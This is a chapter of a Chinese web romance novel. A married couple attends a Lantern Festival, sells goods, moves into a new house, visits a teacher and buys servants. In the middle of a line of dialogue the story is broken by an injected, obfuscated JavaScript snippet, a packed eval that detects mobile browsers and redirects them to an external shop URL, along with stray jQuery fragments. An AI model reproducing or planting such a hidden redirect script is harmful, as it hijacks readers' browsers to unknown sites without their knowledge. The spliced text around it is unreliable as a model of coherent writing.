99. 搬家(二合一)

作品:《夫君排队进火葬场了吗

    “今日不急,先过了元夕。”


    虽说不急,但紫苏还是将这个消息散布出去了,萧令仪在屋中赶制紫貂围脖,好在日落前,终于制好了,便径自送了过去。


    “祖母,这是夫君买了,吩咐我制的,如今拿来孝敬祖母,还望祖母不要嫌弃孙媳针脚粗陋。”


    紫貂这样普通人家里贵重难得的物件,没人会不喜欢,严老夫人收下,“你们是去了北边吧?”


    萧令仪知道瞒不过她,“祖母无需担心,我二人是跟着军伍行进的,只是此事机密,不好事先告知祖母。”


    “他去也就罢了,你去做什么?”严老夫人是有些不满的,她这个孙媳,也太能折腾了。


    呵呵,幸好她去了,她若没跟着去,没准严瑜就一人和熊搏击了,不过这些她不会告诉严老夫人,老夫人年纪大经不起吓,又性情古怪,她便低眉顺眼道:“是孙媳之过,孙媳贪玩,便跟着去了。”


    “男人有男人的事要做,你平日开铺子玩玩还不够么?东奔西蹿,不像个妇道人家的样子。”


    “是......”她说什么就是什么吧。


    等终于放过她了,萧令仪背过身,才鼓了鼓脸走了。


    严瑜也在天黑之前便回了家,她观他神色,“怎么样?都督还是不肯放你?”


    他板着脸,“正因我事办得太好了,他才......”


    萧令仪听到这心中一沉,若是如此可怎么好?再过十几日严瑜就要入国子监了,岂不是又有一番纠扯不清的?


    “......放了我。”


    她起先还没反应过来,待听清他说的,又见他眼中笑意隐隐,还有什么不明白的,当下气得眼瞪圆,握了拳便往他胸口抡,“你、你如今越发会捉弄人了!”


    严瑜一把抓住她的手,笑道:“阿姮,今日有元夕灯会,你想去赏灯吗?”


    “祖母也去么?”


    “方才问过了,祖母说人太多,她不去了。”


    “那你等我梳妆。”萧令仪灰扑扑了近两个月,也想妆扮一番。


    “好。”


    她将紫苏喊进来为自己梳头点妆,又换了一身鲜亮的衣裳,系好氅衣,才见严瑜不知何时也换了和她同色的氅衣。


    她抿唇一笑,就见严瑜走过来,将银鼠围脖给她围上了,外人一见这穿着打扮,便知二人是一起的。


    紫苏在一旁偷笑,见二人手牵手出门了,欸?不带她们吗?


    如此上元佳节,小夫妻俩才不会带她们,两人晚饭都没用,便往灯市口大街去了。


    二人让张武将马车停在稍远些,便腿着往热闹之处走。


    灯市口大街灯火通明,摩肩接踵,各种摆着的鳌山灯、天灯,争奇斗艳,人们手中提着的小花灯,形态各异。还有猜灯谜的、杂耍的、舞狮的、舞龙灯的、跑旱船的等等,令人目不暇接。


    夫妻俩买了两盏鱼儿灯,一人提着一盏,相携至一元宵摊坐下。


    “两位客官要什么口味的?现下还有黑芝麻、核桃仁、白糖、玫瑰、茴香几个味儿的。”


    “便要一碗玫瑰的吧。”她放好灯,笑盈盈看着严瑜,“你呢?”


    “芝麻的便好。”


    她凑过去,偷偷道,“你吃黑芝麻,要把牙吃黑,一会儿不亲你了。”


    严瑜眼神一深,她今日盛装,面庞娇艳,却笑容狡黠,抹着口脂的唇说着什么亲不亲的话,他左右看看,握着她下巴迅速一吻,又快速分开,低声道:“那便先亲了,免得一会把你唇齿也亲黑了。”


    她摸摸脸,有些发烫,这么多人呢......真是越来越不要脸了!


    两人又一本正经等着上元宵。


    “章大人?章大人?”见章珩回神,却脸色颇冷,同僚问,“章大人怎么了?”


    “无事。”章珩冷声,偏过头不再看楼下。


    萧令仪撑着脸,“你现下有半个月的闲暇呢!想做什么?”


    “你不是要忙起来了么,我难不成当个富贵闲人?总要帮你做些事。”


    她笑道:“富贵闲人不好么?我还想做富贵闲人呢!”


    他也笑道:“你嘴上这样说,手却一刻不停的,我若是真做了富贵闲人,恐怕就要成惹你嫌的人了。”不过他也不是真能安心闲下来的人。


    她撅起唇,“你真是冤枉我!我喜欢你还来不及,哪里嫌弃过你!”


    小二端上一碗玫瑰元宵,才要说慢用,便听见这样露骨的一句话,一时脸一红,放下元宵转身便走。


    萧令仪见被人听见了,脸也有些发烫,却听严瑜低声道:“你方才还嫌我吃芝麻黑了牙。”


    萧令仪:......算了,吃元宵吧。


    她尝了一个,玫瑰馅还带着花香,甜而不腻,又舀起一个,递到他唇边,“你尝尝。”


    严瑜低头,送入嘴中。


    小二才要端上芝麻元宵,又见到这情状,立刻放下元宵又飞快走开了。


    严瑜端过自己的,尝了一个,推过去,“尚可,你尝尝。”


    她没用自己的调羹,张开嘴:“啊~”


    他失笑,舀了一个,轻轻吹了吹,用唇试了试温,才送入她檀口中。


    “现下我也吃了,咱俩谁也不嫌弃谁。”她嚼嚼嚼。


    “哥哥,你在看什么?你与方才那位大人谈完了?”章文姿走到章珩身边,往下看,街上鱼龙飞舞,火树银花,热闹非凡。


    章珩转过头看她,“你不是和顾公子去猜灯谜了,怎么这么快便回来了?”


    章文姿面色失落,她和顾公子再过不久就要成亲了,好不容易两人能相处一二,“他说他有些疲累,便先回去了。”


    “你还要赏灯么?不赏的话我们便回去了。”


    章文姿摇摇头,“回去吧。”她已没了心情,哥哥看着也面色不佳的模样,还是回家吧。


    *


    “咱们什么时候搬家?我想着早日搬过去,这边院子留作制香膏。”萧令仪边吃边道。


    “那明日便开始打扫收拾,早日搬过去也好。”


    萧令仪想了想,“明日你在家收拾,请几个人去鸣玉坊那边打扫吧,我明日想将皮毛和参都脱手了。”


    严瑜点点头,“带上斩秋,她会些武艺,免得你吃亏,家里我来安排。”


    两人吃完元宵,又逛了逛,才慢慢回到马车边,才上马车,她就被严瑜拉入怀“吃芝麻”了。


    因着怕被外头听见,她紧紧揪住他的衣襟,压着自己不小心便会泄出的破碎口今口我,直到家门口,严瑜才放开她,而她早已眼饧骨软,在他怀里瘫软成水。


    他眼含笑意,将她的氅衣裹好,抱着下了马车。


    “夫人怎的了?”紫苏听见动静跑出来,便见萧令仪被打横抱进来,脸埋着也看不清神色。


    “无事,脚有些扭了,你们都去歇息吧。”严瑜将她抱进房中,才阖上门,便又低头,紧紧贴着她,吃起了芝麻来。


    芝麻吃没吃到不知,口脂倒是吃得两人嘴边一圈淡淡的樱粉,许是在屋中,她终究是没忍住,猫儿似的,“嗯......”


    也不知刺激到他什么了,手上嘴下越发凶狠,径自抱着她坐在桌边的机凳上,他靠着圆桌,而她与他相对而坐。


    她攀着他肩,抓挠着他肩背上的衣物,桌上的茶杯茶壶,在茶盘里不停震跃。


    二人都衣衫完整,却不知为何都沁了一脑门子的细密汗珠。


    “啊......”她狠狠咬在他肩上。


    他却越发掐紧了她的腰,准,狠。


    ......


    最后是严瑜抱了她去浴房,不过她也不知道了。


    翌日,萧令仪迷蒙睁眼,严瑜还在她身旁,她靠过去,片刻后清醒了,又吓得立刻退开。


    他手臂早已锁住她,“跑什么?”有些令人心颤的沙哑。


    到底严瑜还有分寸,只一回便云歇雨收,萧令仪和他一块儿用过早膳,便带着紫苏斩秋和张武出门了。


    萧令仪带回来的都是好货,京城里贵人多,都是出得起钱的,不过她没找贵人兜售,留了几根参,将其余的参和皮毛,都卖给了药商和皮毛商。


    现下海上还冻着,水路不通,走山海关陆路又艰险,收不着货。萧令仪的这些,很能卖得上价,仅参就卖了三千二百多两,皮毛则卖了一千八百多两。


    她将货卖空了,又带了人去瓷器街,通州码头的瓷器已经运回来了,萧令仪的梅花罐约莫有四大箱,她带着人和伙计清点了一番,将碎的扔了,付了余下的钱,才雇了人用板车运回去。


    将梅花罐卸在铺子里,萧令仪才回了后院,严瑜不在,但眼看屋中能放进箱笼里的,都收拾了起来,她满意地在榻上坐下,真是个居家好夫君。


    没多久,严瑜便回来了,她迎上去,便听他道:“那边年前修缮打扫过,今日我只雇了人,将二进院和跨院里仔细打扫了一遍,两边地龙已经烧上了,明日也算个吉日,若是你无事,咱们就搬过去吧。”


    这个小院烧地龙,只需要烧三间并一个便厅,鸣玉坊的宅子一烧就是六七间,连取暖都要耗费两倍以上了,不过这也是住大宅子无法避免的。


    “好。”萧令仪让紫苏通知了下去,各自收拾东西。


    小夫妻俩则把除了每日要用的,余下都拾掇好,还有两人书房里的,都要一并带过去。


    她看着书房外的枯树,还有树下的秋千,轻声道:“真舍不得这里,那秋千还是你亲自做的。”


    他将一沓纸放进箱子里,握了握她的肩,“把秋千带走,到那边再给你搭一个,”他顿了顿,“还有步廊那把藤椅,也一并带走。”


    不知想到什么,她脸微微一红,低头继续收拾。


    第二日,一家人早早便起了,摆好祭案,一道祭过宅神,萧令仪便先带着家中女眷去了鸣玉坊。


    萧令仪抱着钱箱,严老夫人抱着一只小小的米缸,带着丫鬟们跨进了宅子。


    一进宅子,萧令仪便吩咐将府中能点的灯都点上,把灶火也烧上,红红火火,家宅兴旺。


    才过不久,严瑜便带着一小队车马到了,他带着人将各样箱笼家伙都搬进去,车马行的人走后,他们也没急着收拾,而是先摆了祭案,一家人先祭过宅神和灶神。


    张武在大门外挂上一长串的爆竹,点了引线,噼里啪啦,震耳欲聋。


    每人脸上都浮上喜悦之色,连一向不苟言笑的严老夫人都露出了笑容,来福这几个月已经将身子吃得吹了气似的,此时也疯了一般来回跑。


    张武被安排住在前头的倒座房,管着车马出入和门房。白芷不爱抛头露面,便只让她照顾老夫人,跟着老夫人住在二进院子里,紫苏和斩秋则跟着萧令仪住在跨院。


    小夫妻俩先去了二进院正房,替着老夫人拾掇各样东西,先前从云水村搬到崇文坊时,老夫人不过一个小箱笼,如今,萧令仪送她的各样衣裳鞋帽、打的棉被褥子、幔帐家火等,竟然有好些箱笼了。


    来福也跟着老夫人住在二进院,萧令仪将帐钩挂好,笑道:“二进院子都是平地,够它撒欢了,祖母以后每日练完八段锦,便牵着它去跨院里赏景,一来一回,也算强身健体了。”


    夫妻俩回了跨院,紫苏和斩秋已经将能收拾的都收拾好了,萧令仪吩咐她们去自己的房间,理一理各自的箱笼家私,便和严瑜慢慢收拾了起来。


    “老爷!夫人!”张武在外头喊。


    严瑜走出来,问道:“何事?”


    “对门,和隔壁,都派人送了礼来!”


    萧令仪跟在后头出来,见一盆松柏,和一只锦盒,并两盒发糕喜饼。她打开那锦盒瞧了瞧,里头是两只青花如意瓶,不算多贵重,却很是精巧。


    张武连忙道:“这是对门送的,这盆松柏是隔壁苏家送的。”


    她望向严瑜,“年前是吩咐了紫苏备年礼的,如今看来,咱们得亲自去拜一拜了。”


    严瑜吩咐张武:“我写个拜帖,你给对门送过去。”他很快拿了纸笔,写好后交给张武,张武飞快跑出去了。


    看着他的背影,严瑜幽幽道:“张武这半年倒蹿得很快,如今只比你小半个头了。”


    萧令仪将瓷瓶抱进屋,“那盆松柏就放你书房里吧,想必是苏公子送予你的,这瓷瓶放那二层小楼,那座小楼往后就做我的书房了。”


    “嗯?那我书房在哪?怎的离你那样远?”严瑜不满,原先穿过花厅,两人的书房就在对面,他去找她方便的很。


    “那小楼我打算布置一番,拿来做我的画楼,也是我的书房,你的书房若是再与我的在一处,将来有闺阁妇人来画像的,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188204|190868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    岂不是都被你吓跑了?”


    待她放稳瓷瓶,他掐住她的腰,“我长得有那般吓人?”他知道她说的是男女大防,但仍是不满与她分开。


    萧令仪笑着捧住他的脸,知道他只是要自己哄他,“夫君霞姿月韵,怎么会吓人?”


    她踮脚亲了亲,“我喜欢那小楼,夫君让给我好不好?”


    他神色严肃,“让你独占那小楼,也不是不可以,不过......”他低头凑到她耳边,不知说了什么。


    萧令仪立时面色爆红,羞恼捶他,“不要脸!”


    他眼带笑意,低头,才要说什么,又听外面喊道:“老爷!帖子已经送过去了,拿了回帖来!”


    严瑜揉了揉她腰肢,“你收拾,我出去便可。”


    萧令仪便继续拾掇箱笼,布置寝房。


    待他再次进屋,手中拿了一张帖子,她问道:“林山长回帖了?”


    “嗯,东山书院也是二月初一谒庙,咱们要过去拜会了。”


    她翻了个锦盒出来,“幸好我留了几根参,一会儿带着参去拜会也不算寒碜。”


    “嗯,阿姮,咱们请个仆妇在门房看着吧?张武虽然还没留头,但我看他渐渐大了,不好总来后院。”


    她想想也是,点点头,“家里宅子渐大了,这么几人是有些不够,张武管着车马,恐怕门房处管不过来,咱们明日看看,再雇几个人。”


    夫妻俩出门前,萧令仪给了紫苏些银钱,让她多买些菜和肉回来,晚上暖宅就吃锅子。


    二人递了拜帖,进了林府,管家将他们迎到前厅里,林山长和林夫人都在。


    夫妻俩磕头行了大礼。


    “这是做什么?何须如此大礼。”林山长搀起严瑜。


    林夫人也笑着牵了萧令仪在一旁坐下,“这回来怎么倒比第一回还客气了!”


    萧令仪笑道:“本是早该来给二位长辈拜年的,只是年节我二人不在京城,林山长与外子,虽无师生之名,却有师生之恩,我二人这两日刚回了京城,现下给二位拜个晚年,还望莫要嫌拙夫与妾失了礼数。”


    “原是如此,我还道你二人怎的匆匆忙忙便搬了过来。”林夫人点点头。


    严瑜奉上锦盒,“这是机缘巧合得的,粗陋土产,聊表寸心,伏望先生莞存。原本今日晚辈乔迁,该治一席水酒恭请尊驾。只是愚夫妇皆怙恃两失,祖母又年迈,无人操持,惟恐仓促失仪,容晚辈另择吉日,再专程奉请,万望海涵。”


    林山长点点头,“你入国子监的事我已知晓了,总算没丢了我这把老脸,数月不见,老夫来考校考校你的学问如何?”


    林夫人不赞同道:“你瞧他两个!不是文绉绉的,就是要考校什么学问!你们今日才搬过来,哪有那样多闲工夫,能过来说说话已是忙里偷闲了!”


    萧令仪但笑不语,只见林夫人又对林山长道:“你要考校学问,往后多的是机会,今日便莫要给两个孩子添乱了。”


    林山长在家中是不管俗务的,他向来任性而为,这会子被林夫人说了,只能作罢。


    林夫人又让丫鬟提上来个大些的食盒,笑着对小夫妻道:“虽不设宴,但这乔迁新宅,灶是一定要暖起来的,这只羊腿拿回去给你二人烧灶。”


    夫妻二人又连忙道谢,不多作留,提了食盒回家了。


    跨院里有小厨房,萧令仪将食盒放在厨房里,“这羊像咱们在关外吃的,没那么膻。晚上咱们吃羊肉锅子吧!”


    “好。”


    二人又回房收拾了,两人边干活边闲聊,“紫苏是要跟在我身边的,只怕后面忙起来,她也没工夫做饭了,家里要专请个厨娘来。”


    “吃食要信得过的人方可,雇一个不如买一个。”


    “也是,那要挑一挑了,还有门房,张武终究太小,也忙不过来。”


    两人商量要再添几个下人,又商议着乔迁宴的事。


    紫苏带着菜肉回来后,便去小厨房里忙着了,待各样菜备好了,在前厅里摆了两桌,一边一个锅子,菜色都是一样的。


    萧令仪先给她们一人一个红色锦袋,才坐下笑着道:“这里是上月和这个月的月钱,以及年节给你们的赏钱,去年辛苦各位了。”


    她端起酒杯,众人纷纷站起身,遥敬一杯。


    张武偷偷打开锦袋,立时笑逐颜开,这顿锅子吃得主仆尽欢,个个肚儿滚圆才散席。


    萧令仪略有些醉意,眼底薄雾氤氲,面颊微粉,靠躺在床上,寝衣领口微微散开,露出精致锁骨。严瑜沐浴回来,见到的便是这样一幅桃花醉颜图。


    他掀开被靠躺在她身边,手穿过后背揽住她,“要不要喝点醒酒汤?”


    萧令仪摇摇头,“我没醉。”


    “嗯,”他缓缓揉捏她腰肢,“明日想做什么?”


    “明日去牙行吧,家里人确实有些不够了,你再陪我去选一些书?”


    “好......”他吻上那饱满的唇,手往上挪,轻拢慢捻。


    她微微推开他,“我来月事了......”


    严瑜一顿,长长地吁出一口气,“腹疼吗?”


    “不疼,许是吃了许多羊肉,浑身暖暖的。”


    “嗯......”又轻轻咬她的唇肉。


    “月事......”


    “阿姮,我想亲你......”


    起初确实只想一亲芳泽,萧令仪也喜欢他吻她,何况两人都喝了些酒,只是情热的小夫妻亲近不得,一发不可收拾后,两人都极难受,算是自讨苦吃了。


    好一番折腾,两人才睡着。


    ......


    第二日,萧令仪和严瑜先去了牙行,两人要了一对十一二岁年纪绝卖的兄妹,签了死契,一个典身的丫鬟,约莫十四五,一个三十多会些厨艺的妇人,都签了十年的典身契,另又雇了个手脚伶俐的妇人。统共五个人,花去三十五两。


    萧令仪让紫苏将她们带回去教规矩,便和严瑜去了书铺,他记性好,先前自家铺子里都有哪些书,大致都有印象,这回挑书,便捡着没有的挑。


    这回他们挑了五百多本书,另一百多本小说话本之类的,花去一千五百多两银子。


    萧令仪肉痛。


    要不说穷苦人家读不起书呢,一千五百两,都能舒舒服服地过一辈子了。